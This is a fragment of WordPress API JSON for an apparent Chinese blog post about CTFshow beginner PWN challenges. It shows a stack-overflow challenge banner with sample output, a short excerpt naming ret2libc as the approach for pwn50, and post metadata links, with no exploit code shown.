&nbsp;* Classify: CTFshow --- PWN --- \u5165\u95e8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp;* Type  : Stack_Overflow &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp;* Site  : https:\/\/ctf.show\/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br> &nbsp; &nbsp;* Hint  : Who are you? &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp;* ************************************* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>Who are you?<br>I<br>Wow!you are:IronMan<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>pwn50 \u770b\u5230puts\u51fd\u6570 \u63d0\u793alibc\u7248\u672c \u731c\u662fret2libc\u768464\u4f4d \u5957\u677f\u5b50 exp\uff1a \u8fd9\u91cc\u6211\u6709\u4e2a\u5f88\u5947 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-263","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/263","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=263"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/263\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=263"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=263"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=263"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}